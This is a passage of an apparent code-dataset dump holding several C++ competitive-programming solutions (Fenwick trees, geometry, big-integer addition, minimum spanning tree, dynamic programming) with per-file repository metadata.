v[x][i];\r\n\t\t\tfor (int j = i - 1; j >= 0; j--) r = 10ll * r;\r\n\t\t\tfor (int j = i + 1; j < v[x].size(); j++)\r\n\t\t\t\tr = 10ll * r + v[x][j];\r\n\t\t\treturn r;\r\n\t\t}\r\n}\r\n\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (scanf(\"%d\", &n) && n) {\r\n\t\tfor (int i = 0; i < n; i++) scanf(\"%d\", &a[i]);\r\n\t\tsort(a, a + n);\r\n\t\tsol = 1e17;\r\n\t\tfor (int mask = 1; mask < (1 << n) - 1; mask++) {\r\n\t\t\tv[0].clear(); v[1].clear();\r\n\t\t\tok[0] = ok[1] = false;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n p = ((mask & (1 << i)) != 0);\r\n\t\t\t\tv[p].push_back(a[i]);\r\n\t\t\t\tok[p] |= (a[i] != 0);\r\n\t\t\t}\r\n\t\t\tif (ok[0] && ok[1]) {\r\n\t\t\t\tx = form(0);\r\n\t\t\t\ty = form(1);\r\n\t\t\t\tif (x + y < sol) sol = x + y;\r\n\t\t\t}\r\n\t\t}\r\n\t\tprintf(\"%lld\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4139728844165802, "alphanum_fraction": 0.43691346049308777, "avg_line_length": 18.84782600402832, "blob_id": "b46680938524e39adc31a3c7e96c61db4e77a6ac", "content_id": "8bb567ab51c0c4ac2d72b15fb55cb6e3e404e55c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 959, "license_type": "no_license", "max_line_length": 72, "num_lines": 46, "path": "/COJ/eliogovea-cojAC/eliogovea-p2904-Accepted-s624022.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MaxLen = 100005;\r\n\r\nstruct big_int {\r\n\tint len, dig[MaxLen];\r\n\tbig_int() {\r\n\t\tlen = 1;\r\n\t\tfor (int i = 0; i < MaxLen; i++) dig[i] = 0;\r\n\t}\r\n\tbig_int(string &s) {\r\n\t\tlen = s.size();\r\n\t\tfor (int i = 0; i < len; i++) dig[i] = s[len - 1 - i] - '0';\r\n\t}\r\n\tvoid print() {\r\n\t\tfor (int i = len - 1; i >= 0; i--)\r\n\t\t\tprintf(\"%d\", dig[i]);\r\n\t\tprintf(\"\\n\");\r\n\t}\r\n\r\n} a, b;\r\nvoid sum() {\r\n if (a.len < b.len) for (int i = a.len; i < b.len; i++) a.dig[i] = 0;\r\n if (a.len > b.len) for (int i = b.len; i < a.len; i++) b.dig[i] = 0;\r\n a.len = max(a.len, b.len);\r\n int carry = 0;\r\n for (int i = 0; i < a.len; i++) {\r\n carry += a.dig[i] + b.dig[i];\r\n a.dig[i] = carry % 10;\r\n carry /= 10;\r\n }\r\n if (carry) a.dig[a.len++] = carry;\r\n}\r\nint n;\r\nstring str;\r\n\r\nint main() {\r\n\tcin >> n;\r\n\twhile (n--) {\r\n cin >> str;\r\n\t\tb = big_int(str);\r\n\t\tsum();\r\n\t}\r\n a.print();\r\n}\r\n" }, { "alpha_fraction": 0.3782542049884796, "alphanum_fraction": 0.42572739720344543, "avg_line_length": 17.787878036499023, "blob_id": "69757cbc4d8b08aa0b0731e1f7ef5a99c9b1b38a", "content_id": "0d2eb3a71a0e696f06e0c9d831ab8141b54e4627", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 653, "license_type": "no_license", "max_line_length": 55, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2421-Accepted-s515871.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\ndouble dist(double x1, double x2, double y1, double y2)\r\n{\r\n return sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2));\r\n}\r\n\r\nint n,ans;\r\ndouble x,y,r,sx,sy,dm=1000000.0;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&n) && n)\r\n {\r\n scanf(\"%lf%lf\",&sx,&sy);\r\n for(int i=1; i<=n; i++)\r\n {\r\n scanf(\"%lf%lf%lf\",&x,&y,&r);\r\n if(dist(sx,x,sy,y)-r<dm)\r\n {\r\n dm=dist(sx,x,sy,y)-r;\r\n ans=i;\r\n }\r\n }\r\n printf(\"%d\\n\",ans);\r\n dm=1000000.0;\r\n ans=0;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.487841933965683, "alphanum_fraction": 0.49696049094200134, "avg_line_length": 18.59375, "blob_id": "f4d8d9a3f7ca324f7c35e9e51c3ec0e947434a54", "content_id": "eea10bbd31d55c880403133194bedb0afe64c43b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1316, "license_type": "no_license", "max_line_length": 73, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p3761-Accepted-s1129472.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nstruct point {\r\n\tLL x, y;\r\n\tpoint() {}\r\n\tpoint(LL _x, LL _y)\r\n\t\t: x(_x), y(_y) {}\r\n};\r\n\r\npoint operator - (const point &P, const point &Q) {\r\n\treturn point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\ninline LL dot(const point &P, const point &Q) {\r\n\treturn P.x * Q.x + P.y * Q.y;\r\n}\r\n\r\ninline LL cross(const point &P, const point &Q) {\r\n\treturn P.x * Q.y - P.y * Q.x;\r\n}\r\n\r\ninline LL abs_2(const point &P) {\r\n\treturn dot(P, P);\r\n}\r\n\r\ninline double abs(const point &P) {\r\n\treturn sqrt((double)dot(P, P));\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\t\r\n\tpoint A, B, C;\r\n\tLL r;\r\n\t\r\n\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> r;\r\n\t\r\n\tif (cross(B - A, C - A) * cross(B - A, C - A) >= r * r * abs_2(B - A)) {\r\n\t\tdouble answer = abs(B - A);\r\n\t\tcout << fixed << answer << \"\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\tif (dot(B - A, C - A) <= 0 || dot(A - B, C - B) <= 0) {\r\n\t\tdouble answer = abs(B - A);\r\n\t\tcout << fixed << answer << \"\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tdouble sl = abs(B - A);\r\n\tdouble h = (double)abs(cross(B - A, C - A)) / abs(B - A);\r\n\tdouble ic = 2.0 * sqrt((double)r * r - h * h);\r\n\tdouble angle = 2.0 * acos(h / (double)r);\r\n\t\r\n\tdouble answer = (sl - ic) + angle * (double)r;\r\n\t\r\n\tcout << fixed << answer << \"\\n\";\r\n}" }, { "alpha_fraction": 0.4401858448982239, "alphanum_fraction": 0.4866434335708618, "avg_line_length": 12.453125, "blob_id": "cf86068b09b7b873b99c40c7320616ea931aefed", "content_id": "b6ca95f96854c655d8473b5c563dbbfabcb70e40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 861, "license_type": "no_license", "max_line_length": 52, "num_lines": 64, "path": "/Codeforces-Gym/100112 - 2012 Nordic Collegiate Programming Contest (NCPC)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012 Nordic Collegiate Programming Contest (NCPC)\n// 100112B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nint n;\nint a[100005], b[100005];\n\nint bit[N];\n\nvoid init() {\n\tfor (int i = 0; i <= n; i++) {\n\t\tbit[i] = 0;\n\t}\n}\n\nvoid update(int p, int v) {\n\twhile (p <= n) {\n\t\tbit[p] += v;\n\t\tp += p & -p;\n\t}\n}\n\nint query(int p) {\n\tint res = 0;\n\twhile (p > 0) {\n\t\tres += bit[p];\n\t\tp -= p & -p;\n\t}\n\treturn res;\n}\n\nint calc(int *a) {\n\tinit();\n\tint res = 0;\n\tfor (int i = 1; i <= n; i++) {\n\t\tres += query(a[i]);\n\t\tupdate(a[i], 1);\n\t}\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> a[i];\n\t}\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> b[i];\n\t}\n\tint va = calc(a) & 1;\n\tint vb = calc(b) & 1;\n\tif (va == vb) {\n\t\tcout << \"Possible\\n\";\n\t} else {\n\t\tcout << \"Impossible\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3388507068157196, "alphanum_fraction": 0.3610243499279022, "avg_line_length": 15.690608024597168, "blob_id": "66239b6680e73cc179f7c4db1048c9eec7e84000", "content_id": "30b407f8c848042ad32a153becca75c851096cbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3202, "license_type": "no_license", "max_line_length": 45, "num_lines": 181, "path": "/COJ/eliogovea-cojAC/eliogovea-p3707-Accepted-s1009518.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100;\r\n\r\nint bit[N + 5];\r\n\r\ninline void update(int p, int v) {\r\n\twhile (p <= N) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\ninline int query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint solve(int k) {\r\n\tfor (int i = 0; i <= N; i++) {\r\n\t\tbit[i] = 0;\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tupdate(i, 1);\r\n\t}\r\n\tint cur = 1;\r\n\tint dir = 1;\r\n\tfor (int i = 1; i < N; i++) {\r\n\t\tint x = query(N);\r\n\t\tint kk = k % x;\r\n\t\tif (kk == 0) {\r\n\t\t\tkk = x;\r\n\t\t}\r\n\t\tif (dir > 0) {\r\n\t\t\tint y = query(cur - 1);\r\n\t\t\tint pos = -1;\r\n\t\t\tif (x - y >= kk) {\r\n\t\t\t\tint lo = cur;\r\n\t\t\t\tint hi = N;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(mid) - y >= kk) {\r\n\t\t\t\t\t\tpos = mid;\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint kkk = kk - (x - y);\r\n\t\t\t\tint lo = 1;\r\n\t\t\t\tint hi = N;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(mid) >= kkk) {\r\n\t\t\t\t\t\tpos = mid;\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tupdate(pos, -1);\r\n\t\t\tint next;\r\n\t\t\tif (query(pos) == query(N)) {\r\n\t\t\t\tint lo = 1;\r\n\t\t\t\tint hi = N;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(mid) >= 1) {\r\n\t\t\t\t\t\tnext = mid;\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint lo = pos + 1;\r\n\t\t\t\tint hi = N;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(mid) - query(pos) >= 1) {\r\n\t\t\t\t\t\tnext = mid;\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcur = next;\r\n\t\t\tdir = -dir;\r\n\t\t} else {\r\n\t\t\tint y = query(cur);\r\n\t\t\tint pos;\r\n\t\t\tif (y >= kk) {\r\n\t\t\t\tint lo = 1;\r\n\t\t\t\tint hi = cur;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(cur) - query(mid - 1) >= kk) {\r\n\t\t\t\t\t\tpos = mid;\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint kkk = kk - y;\r\n\t\t\t\tint lo = 1;\r\n\t\t\t\tint hi = N;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(N) - query(mid - 1) >= kkk) {\r\n\t\t\t\t\t\tpos = mid;\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tupdate(pos, -1);\r\n\t\t\tint next;\r\n\t\t\tif (query(pos) == 0) {\r\n\t\t\t\tint lo = 1;\r\n\t\t\t\tint hi = N;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(N) - query(mid - 1) >= 1) {\r\n\t\t\t\t\t\tnext = mid;\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint lo = 1;\r\n\t\t\t\tint hi = pos;\r\n\t\t\t\twhile (lo <= hi) {\r\n\t\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\t\tif (query(pos) - query(mid - 1) >= 1) {\r\n\t\t\t\t\t\tnext = mid;\r\n\t\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcur = next;\r\n\t\t\tdir = -dir;\r\n\t\t}\r\n\t}\r\n\treturn cur;\r\n}\r\n\r\nint ans[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tans[i] = 1000;\r\n\t}\r\n\tfor (int k = 1; k <= 1000; k++) {\r\n\t\tint pos = solve(k);\r\n\t\tif (ans[pos] > k) {\r\n\t\t\tans[pos] = k;\r\n\t\t}\r\n\t}\r\n\tint n;\r\n\twhile (cin >> n && n) {\r\n\t\tcout << ans[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2880215346813202, "alphanum_fraction": 0.3032750189304352, "avg_line_length": 23.044944763183594, "blob_id": "c9c9c172e8b3f108ff9dfd0fc18e8a246b384fda", "content_id": "38e6b432612dbe886f911787babae05ea3bab7e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2229, "license_type": "no_license", "max_line_length": 94, "num_lines": 89, "path": "/Caribbean-Training-Camp-2017/Contest_7/Solutions/D7.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nvector <vector <long long> > solve(int n, int l) {\r\n\tvector <vector <long long> > dp(n + 1, vector <long long> (l + 1, 0));\r\n\tdp[n][l] = 1;\r\n\tfor (int ll = l - 1; ll >= 0; ll--) {\r\n\t\tfor (int nn = 0; nn <= n; nn++) {\r\n\t\t if (nn != n) {\r\n dp[nn][ll] += dp[nn + 1][ll + 1];\r\n\t\t }\r\n\t\t\tdp[nn][ll] += (long long)nn * dp[nn][ll + 1];\r\n\t\t}\r\n\t}\r\n\treturn dp;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n;\r\n\tlong long k;\r\n\tstring s;\r\n\r\n\tcin >> n >> k >> s;\r\n\r\n\tint len = 0;\r\n\tlong long sum = 0;\r\n\tvector <vector <long long> > dp;\r\n\twhile (sum < k) {\r\n len++;\r\n dp = solve(n, len);\r\n sum += dp[0][0];\r\n\t}\r\n\r\n\tk = k - (sum - dp[0][0]);\r\n\r\n\t// cerr << \"k: \" << k << \"\\n\";\r\n\t// cerr << \"len: \" << len << \"\\n\";\r\n\r\n\tvector <string> ss(n + 1);\r\n\tfor (int i = 1; i <= n; i++) {\r\n ss[i] = s.substr(0, i);\r\n sort(ss[i].begin(), ss[i].end());\r\n\t}\r\n\r\n\t// for (int i = 0; i <= n; i++) {\r\n // for (int j = 0;j <= len; j++) {\r\n // cerr << dp[i][j] << \"\\t\";\r\n // }\r\n // cerr << \"\\n\";\r\n\t// }\r\n\r\n\tstring answer;\r\n\r\n\tfor (int l = 0, p = 0; l < len; l++) {\r\n if (p == n) {\r\n // cerr << l << \" \" << p << \" \" << k << \" \" << answer << \" \" << ss[p] << \"\\n\";\r\n for (int i = 0; i < ss[p].size(); i++) {\r\n int nl = l + 1;\r\n int np = p;\r\n if (dp[np][nl] < k) {\r\n k -= dp[np][nl];\r\n } else {\r\n answer += ss[p][i];\r\n p = np;\r\n break;\r\n }\r\n }\r\n } else {\r\n // cerr << l << \" \" << p << \" \" << k << \" \" << answer << \" \" << ss[p + 1] << \"\\n\";\r\n for (int i = 0; i < ss[p + 1].size(); i++) {\r\n int nl = l + 1;\r\n int np = (p + 1 <= n && ss[p + 1][i] == s[p]) ? p + 1 : p;\r\n if (dp[np][nl] < k) {\r\n k -= dp[np][nl];\r\n } else {\r\n answer += ss[p + 1][i];\r\n p = np;\r\n break;\r\n }\r\n }\r\n }\r\n\t}\r\n\r\n\tcout << answer << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.28343501687049866, "alphanum_fraction": 0.33036133646965027, "avg_line_length": 22.802326202392578, "blob_id": "a44de629192ae0a579c767fe56a65d677cc693ee", "content_id": "f389969e9d11f84c21754747b81c2618bac07c5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2131, "license_type": "no_license", "max_line_length": 70, "num_lines": 86, "path": "/COJ/eliogovea-cojAC/eliogovea-p2172-Accepted-s561772.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cmath>\r\n#include<algorithm>\r\n#define EPS 1e-6\r\nusing namespace std;\r\n\r\nstruct point{ int x,y; };\r\n\r\nbool al( point p1, point p2, point p3 )\r\n{\r\n\treturn abs( ( p2.x - p1.x ) * ( p3.y - p1.y ) -\r\n\t\t\t\t( p2.y - p1.y ) * ( p3.x - p1.x ) ) < EPS;\r\n}\r\n\r\ndouble dist( point p1, point p2 )\r\n{\r\n\treturn sqrt( ( p1.x - p2.x ) * ( p1.x - p2.x ) +\r\n\t\t\t\t\t( p1.y - p2.y ) * ( p1.y - p2.y ) );\r\n}\r\n\r\nint cas;\r\npoint p1,p2,p3,p4,p5;\r\n\r\nint main()\r\n{\r\n\tfor( cin >> cas; cas--; )\r\n {\r\n cin >> p1.x >> p1.y\r\n\t >> p2.x >> p2.y\r\n\t\t>> p3.x >> p3.y\r\n\t\t>> p4.x >> p4.y\r\n\t\t>> p5.x >> p5.y;\r\n\r\n double per = dist( p1, p2 ) + dist( p2, p3 ) + dist( p3, p1 );\r\n double sol;\r\n\r\n if( al( p1, p2, p4 ) )\r\n {\r\n if( al( p1, p2, p5 ) )\r\n sol = dist( p4, p5 );\r\n else if( al( p2, p3, p5 ) )\r\n {\r\n double s = dist( p4, p2 ) + dist( p2, p5 );\r\n sol = min( s, per - s );\r\n }\r\n else\r\n {\r\n double s = dist( p4, p1 ) + dist( p5, p1 );\r\n sol = min( s, per - s );\r\n }\r\n }\r\n else if( al( p2, p3, p4 ) )\r\n {\r\n if( al( p2, p3, p5 ) )\r\n sol = dist( p4, p5 );\r\n else if( al( p1, p3, p5 ) )\r\n {\r\n double s = dist( p4, p3 ) + dist( p3, p5 );\r\n sol = min( s, per - s );\r\n }\r\n else\r\n {\r\n double s = dist( p4, p2 ) + dist( p5, p2 );\r\n sol = min( s, per - s );\r\n }\r\n }\r\n else\r\n {\r\n if( al( p1, p3, p5 ) )\r\n sol = dist( p4, p5 );\r\n else if( al( p1, p2, p5 ) )\r\n {\r\n double s = dist( p4, p1 ) + dist( p1, p5 );\r\n sol = min( s, per - s );\r\n }\r\n else\r\n {\r\n double s = dist( p4, p3 ) + dist( p5, p3 );\r\n sol = min( s, per - s );\r\n }\r\n }\r\n\r\n cout.precision(10);\r\n cout << fixed << sol << endl;\r\n }\r\n}" }, { "alpha_fraction": 0.42213883996009827, "alphanum_fraction": 0.43089431524276733, "avg_line_length": 17.987499237060547, "blob_id": "d8044a3c2d250d179ee88f7b1e4b7d74f893999c", "content_id": "6493edf5d12f48fcf11fbaead7a59869a5a1321f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1599, "license_type": "no_license", "max_line_length": 78, "num_lines": 80, "path": "/COJ/eliogovea-cojAC/eliogovea-p2385-Accepted-s663825.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2385.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description :\r\n//============================================================================\r\n\r\n#include <cstdio>\r\n#include <cmath>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 505;\r\n\r\nint tc, n, x[MAXN], y[MAXN], ans;\r\n\r\ninline int dist(int i, int j) {\r\n\tint dx = x[i] - x[j];\r\n\tint dy = y[i] - y[j];\r\n\treturn dx * dx + dy * dy;\r\n}\r\n\r\nstruct edge {\r\n\tint a, b, c;\r\n\tedge(int aa, int bb, int cc) : a(aa), b(bb), c(cc) {};\r\n\tbool operator < (const edge &E) const {\r\n\t\treturn c < E.c;\r\n\t}\r\n};\r\n\r\nvector<edge> E;\r\nvector<edge>::iterator it;\r\n\r\nint p[MAXN], rank[MAXN];\r\n\r\nvoid make(int x) {\r\n\tp[x] = x;\r\n\trank[x] = 1;\r\n}\r\n\r\nint find(int x) {\r\n\tif (p[x] != x) p[x] = find(p[x]);\r\n\treturn p[x];\r\n}\r\n\r\nbool join(int x, int y) {\r\n\tint px = find(x), py = find(y);\r\n\tif (px == py) return false;\r\n\tif (rank[px] > rank[py]) p[py] = px;\r\n\telse if (rank[py] > rank[px]) p[px] = py;\r\n\telse {\r\n\t\trank[py]++;\r\n\t\tp[px] = py;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d\", &n);\r\n\t\tE.clear();\r\n\t\tans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tscanf(\"%d%d\", &x[i], &y[i]);\r\n\t\t\tmake(i);\r\n\t\t\tfor (int j = 0; j < i; j++)\r\n\t\t\t\tE.push_back(edge(i, j, dist(i, j)));\r\n\r\n\t\t}\r\n\t\tsort(E.begin(), E.end());\r\n\t\tint cnt = 0;\r\n\t\tfor (it = E.begin(); it != E.end() && cnt < n - 1; it++)\r\n\t\t\tif (join(it->a, it->b)) ans = it->c, cnt++;\r\n\t\tprintf(\"%.3lf\\n\", sqrt(ans));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33997154235839844, "alphanum_fraction": 0.3726884722709656, "avg_line_length": 17, "blob_id": "2a6d6c7dce948b357ba3aba390c3786d6397731d", "content_id": "39ec21520ed5fa8a2795ec2032b364fd2ebf1f46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 703, "license_type": "no_license", "max_line_length": 38, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p3158-Accepted-s784734.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int mod = 1000000007;\r\nconst int N = 105;\r\n\r\nint r, c, k;\r\nint a[N][N], dp[N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> r >> c >> k;\r\n\tfor (int i = 1; i <= r; i++) {\r\n\t\tfor (int j = 1; j <= c; j++) {\r\n\t\t\tcin >> a[i][j];\r\n\t\t}\r\n\t}\r\n\tdp[1][1] = 1;\r\n\tfor (int i = 1; i <= r; i++) {\r\n\t\tfor (int j = 1; j <= c; j++) {\r\n\t\t\tfor (int x = i + 1; x <= r; x++) {\r\n\t\t\t\tfor (int y = j + 1; y <= c; y++) {\r\n\t\t\t\t\tif (a[x][y] != a[i][j]) {\r\n\t\t\t\t\t\tdp[x][y] += dp[i][j];\r\n\t\t\t\t\t\tif (dp[x][y] > mod) {\r\n\t\t\t\t\t\t\tdp[x][y] -= mod;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << dp[r][c] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3858173191547394, "alphanum_fraction": 0.42307692766189575, "avg_line_length": 23.47058868408203, "blob_id": "a42610ee33a7fb4804c24a9f075a7b15abfec535", "content_id": "679caf7c083d28a206d4cd252560f533312997f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 832, "license_type": "no_license", "max_line_length": 102, "num_lines": 34, "path": "/Codeforces-Gym/100228 - 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)\n// 100228A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n string a, b;\n\n while (cin >> a && a != \"THEEND\") {\n cin >> b;\n vector <pair <int, int> > v(a.size());\n for (int i = 0; i < a.size(); i++) {\n v[i] = make_pair(a[i], i);\n }\n int r = b.size() / a.size();\n sort(v.begin(), v.end());\n string ans = b;\n for (int i = 0; i < a.size(); i++) {\n int c = v[i].second;\n for (int j = 0; j < r; j++) {\n int p = r * i + j;\n ans[j * a.size() + c] = b[p];\n }\n }\n cout << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.407665491104126, "alphanum_fraction": 0.4250870943069458, "avg_line_length": 12.350000381469727, "blob_id": "fda4e6c510d6309e08f928240e4454f7db4ce7a4", "content_id": "dfa414a4c462bfb3d7fe1e1726770abd1361a82e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 287, "license_type": "no_license", "max_line_length": 29, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2243-Accepted-s802281.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nlong long n, x, y;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n && n) {\r\n\t\tx = n;\r\n\t\ty = n * n + 1LL;\r\n\t\tif (n & 1LL) {\r\n\t\t\ty >>= 1LL;\r\n\t\t} else {\r\n\t\t\tx >>= 1LL;\r\n\t\t}\r\n\t\tcout << x * y << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4238095283508301, "alphanum_fraction": 0.4555555582046509, "avg_line_length": 16.52941131591797, "blob_id": "9226c1b3eb0298e5a5984d168a6dafed5fb7b577", "content_id": "e12c54a22e0bc8b2ccb6a43e848a2dbb91f7863b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 630, "license_type": "no_license", "max_line_length": 48, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2019-Accepted-s495393.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nchar a[8];\r\nint l,ans;\r\n\r\nbool p(int n){\r\n if(n==1)return 0;\r\n if(n==2 || n==3)return 1;\r\n if(n%2==0)return 0;\r\n for(int i=3; i*i<=n; i+=2)\r\n if(n%i==0)return 0;\r\n return 1;\r\n }\r\n\r\nint toint(char x[]){\r\n int l=strlen(x);\r\n int r=0;\r\n for(int i=0; i<l; 